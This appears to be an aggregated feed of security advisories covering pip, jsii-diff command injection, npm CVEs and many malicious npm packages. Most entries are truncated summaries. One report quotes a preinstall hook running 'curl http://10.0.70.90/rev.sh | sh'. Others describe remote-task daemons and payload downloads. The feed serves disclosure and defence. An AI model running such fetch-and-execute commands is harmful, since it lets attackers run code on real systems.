EulerOS 2.0 SP11 : python-pip (EulerOS-SA-2026-3148)

According to the versions of the python-pip packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : pip would treat consolescripts and guiscripts as paths instead of file names without sanitizing the resolved absolute path to the installation...

NPM: jsii-diff: Command Injection via npm: package argument

NPM: jsii-diff: Command Injection via npm: package argument vulnerability discovered by ? in WordPress Npm jsii-diff versions 1.131.0...

EUVD-2026-44768

jsii-diff: Command Injection via npm: package argument...

GHSA-WCX4-WPFV-MC5C jsii-diff: Command Injection via npm: package argument

Summary jsii-diff is a command line tool to compare the API differences between two jsii assemblies, and report errors if there are backwards-incompatible changes to the API. An issue exists where specially formatted command line arguments can be used to execute shell commands via this tool. Impa...

Malicious Package

Overview streak-kit-map is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious code in svelte-cache-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1453b15dc9dc17e87c7dd53ab81d2e1c5988a6a3436d37e90500acd83dacdd22 No a static rule matches and no traced install-time or import-time behavior of concern were identified in this package version. No credential access,...

MAL-2026-13676 Malicious code in svelte-cache-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1453b15dc9dc17e87c7dd53ab81d2e1c5988a6a3436d37e90500acd83dacdd22 No a static rule matches and no traced install-time or import-time behavior of concern were identified in this package version. No credential access,...

MAL-2026-13614 Malicious code in aclade-agent (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a2b361ca760d6a5ed8413f5b9212bc775b6c321183c15f60fb14973b83fddc3d The package runs as a daemon that polls https://aclade.com/api/connector/poll and executes task objects returned by the remote server. Supported...

MAL-2026-13616 Malicious code in hardhat-cap (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3d9de53c9b5916edf45f9055ecdb2fbdd0752cfe7779f37c7d294a16788faf8 The package is published as hardhat-cap but its README, LICENSE, index.d.ts, and lib/proto.js / lib/tools.js are a verbatim copy of the pino logger,...

Malicious Package

Overview ded-pwa-c-micro is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious Package

Overview transform-es2015-unicode-regex is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and thi...

Malicious code in base-ui-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6bd7a855915fc307b9d0c8feee91b135ea2724c300205df6fd3dcb32833ee95b dist/index.js issues fetch calls to https://base-ui-pro-registry.l-dimitrov.workers.dev in addition to https://registry.npmjs.org. The Cloudflare...

MAL-2026-13521 Malicious code in @rbxst/services (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8e349df2092cb3672698c00cefa5268881f21a60d1f71394c9e223b40d086d2 scripts/postinstall.js runs at npm install time. On Windows it downloads a ZIP archive from https://files.catbox.moe/rp8idk.zip anonymous file-hostin...

ROOT-APP-NPM-CVE-2023-26144 CVE-2023-26144 in graphql - Patched by Root

Root has patched CVE-2023-26144 in the graphql package for Root:npm. Multiple fixed versions available...

pip absolute path traversal during download from malicious package indexes

...

Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

@10xsai/cloudflare-router-nx-plugin (1.0.0), @abelfubu/schematics (0.1.1) +345 more potentially affected by CVE-2026-71476 via nx (>=20.8.0, <=22.7.6)

nx NPM version =20.8.0, =0.0.17, =0.0.47, =0.0.1, =1.0.0, =1.0.0, =0.0.1, =8.1.1, =11.0.0, =0.1.1, =0.0.1, =2.23.0, =2.32.0 and more Source cves: CVE-2026-71476 Source advisory: SNYK:JS-NX-18593778...

NPM: Mermaid XY Charts are vulnerable to an infinite loop DoS

NPM: Mermaid XY Charts are vulnerable to an infinite loop DoS vulnerability discovered by ? in WordPress Npm mermaid versions = 10.6.0, 10.9.8...

Malicious Package

Overview statist-statist-core is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious code in lib-frontsga (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 53a65c44cfdcbc89df47508f3f87fcab836f1fa2f4adf2298ecfb47cd6088038 Package name 'lib-frontsga' published to the public npm registry at version 9.999.999 targets an internal package name via dependency-confusion...